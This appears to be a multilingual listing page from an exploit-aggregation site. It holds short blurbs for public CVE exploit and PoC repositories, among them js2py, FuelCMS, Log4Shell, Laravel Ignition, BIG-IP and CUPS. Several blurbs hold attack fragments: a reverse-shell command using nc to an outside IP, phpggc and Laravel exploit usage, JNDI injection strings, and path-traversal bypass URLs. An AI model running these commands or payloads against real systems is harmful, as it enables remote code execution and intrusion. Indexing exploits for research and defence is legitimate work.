CVE-2024-28397

CVE-2024-28397 js2py Sandbox Escape Exploit - CodePartTwo - HTB Ein Python-Exploit-Code für CVE-2024-28397 , eine kritische Sicherheitslücke in js2py = 0.74, die Sandbox-Escape und Remote Code Execution ermöglicht. 🚨 Details zur Sicherheitslücke CVE-ID : CVE-2024-28397 Betroffene Software : js2py...

cve-2026-27483-lab

CVE-2026-27483 Lab - Enterprise-Schwachstellen-Lernumgebung Ein vollständiges, realistisches, unternehmensreifes Docker-basiertes Labor zum Lernen, Testen und Verteidigen gegen CVE-2026-27483 MindsDB Path Traversal RCE. 🎯 Schnellstart root@kitploit: Clone the repository git clone...

CVE-2018-16763-Exploit-Python3

CVE-2018-16763 FuelCMS 1.4.1 रिमोट कोड एक्ज़ीक्यूशन भेद्यता यह 0xd0ff9 द्वारा बनाई गई https://www.exploit-db.com/exploits/47138 पर स्थित भेद्यता का Python 3 में एक पोर्ट है। एक्सप्लॉइट चलाने के लिए, बस कोड में url वेरिएबल को उस लक्ष्य URL से बदलें जिस पर आप हमला करना चाहते हैं, और अपने पीछे के...

CVE-2017-0199

CVE-2017-0199 O kit de exploração CVE-2017-0199 - v2.0 é um script Python prático que fornece uma maneira rápida e eficaz de explorar a RCE do Microsoft RTF. Ele pode gerar um arquivo RTF malicioso e entregar o payload do Metasploit / Meterpreter à vítima sem qualquer configuração complexa. Nota ...

Spring-Boot-Tomcat-CVE-2025-24813

CVE-2025-24813: Apache 1. Erklärung Tomcat ist aufgrund von zwei separaten Schwachstellen angreifbar; die erste ist eine Schwäche im DefaultServlet, die es erlaubt, mit teilweisen PUTs ein temporäres Verzeichnis zu beschreiben. siehe:...

PoC-CVE-2015-10141-Xdebug

PoC-CVE-2015-10141 Пользовательский эксплойт на Python для Xdebug ≤ 2.5.5 CVE-2015-10141. Описание Этот репозиторий содержит мой эксплойт Proof-of-Concept PoC для уязвимости удаленного выполнения кода Xdebug в версиях 2.5.5 и ранее. Скрипт использует неаутентифицированный отладочный протокол ,...

CVE-2020-15568

CVE-2020-15568 Ein schneller und einfacher POC für CVE-2020-15568. Nicht getestet, aber basierend auf Informationen von hier: https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC POC für CVE-2023-30258-RCE von n0o0b Verwendung root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD,...

CVE-2019-19609-POC-Python

Das Skript versucht, das Passwort auf das in der Variable "updatedpass" deklarierte zurückzusetzen. Bei Erfolg gibt es ein JWT-Token von Strapi aus und verwendet es, um Befehle auszuführen. Das Ausführen von Bind-Befehlen funktioniert nicht, es sei denn, man sendet ein Reverse-Shell-Payload, mit...

CVE-2021-44228-Demo

CVE-2021-44228-Demo Um exemplo de injeção remota de código usando CVE-2021-44228 via RMI e LDAP. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServ...

CVE-2020-5902

CVE-2020-5902 BIG-IP RCE Atualização: use /hsqldb%0a/ para contornar regras de desserialização Java ou /hsqldb%b /hsqldb; root@kitploit: /tmui/login.jsp/..;/hsqldb Redirect 404 / bypass /hsqldb; Redirect 404 / bypass /hsqldb%0a include 'FileETag MTime Size Redirect 404 / Redirect 404 / ' fix:...

PoC-CVE-2017-3881

PoC-CVE-2017-3881 Cisco Catalyst Remote-Code-Ausführung PoC Dieses Repository enthält Proof-of-Concept-Code zur Ausnutzung der von Cisco Systems am 17. März 2017 offengelegten Schwachstelle für Remote-Code-Ausführung –...

PoC-CVE-2017-0199

PoC-CVE-2017-0199 Kit de exploração para a vulnerabilidade RCE do Microsoft RTF. Sobre esta vulnerabilidade: https://errorcybernews.com/2017/04/11/microsoft-word-zero-day/...

r2s

R2S - React2Shell Scanner Ein webbasierter Schwachstellenscanner für CVE-2025-55182 , eine kritische Remote-Code-Ausführung RCE Sicherheitslücke in React Server Components. Live-Scanner: https://r2s.mxm0z.com Über CVE-2025-55182 CVE-2025-55182 ist eine kritische CVSS 10.0 Sicherheitslücke im Reac...

laravel-exploits

laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar...

laravel-exploits

laravel-exploits Exploit für CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Verwendung root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/...

CVE-2021-22204

ExifTool-Schwachstelle für Remote-Codeausführung Dies sollte eigentlich ein Analyseartikel zu CVE-2021-22204 sein, aber er gleicht eher meinem Notizbuch voller wirrer Gedanken. Für einen Schwachstellenanalyse-Artikel wirkt das ziemlich weitschweifig, aber ich habe dabei viel gelernt. Ehrlich gesa...

CVE-2024-47076

O CUPS Common UNIX Printing System, sistema de impressão dos sistemas Linux e Unix, é um serviço relacionado ao gerenciamento de impressão e à distribuição de tarefas entre dispositivos nesses sistemas. Uma vulnerabilidade de segurança denominada CVE-2024-47076 foi divulgada nesse serviço. Você...

CVE-2026-6433

CVE-2026-6433 — प्रमाण-अवधारणा FlipperCode — Custom CSS, JS & PHP · अप्रमाणित SQL इंजेक्शन → RCE eval के माध्यम से प्रभावित: FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · WordPress प्लगइन सतह admin-ajax.php के माध्यम से एक नज़र में...

ASUS-AiCloud-RCE

Origasus origasus.go ile derlenen, ASUS AiCloud / AsusWRT ile ilişkilendirilebilecek uçların yetkili güvenlik testi veya savunma analizi ör. kendi cihazınız, yazılı penetest laboratuvarı kapsamında incelenmesi için yazılmış bir Go programıdır. هام: استخدام مثل هذه البرامج ضد أنظمة غير مصرح بها هو...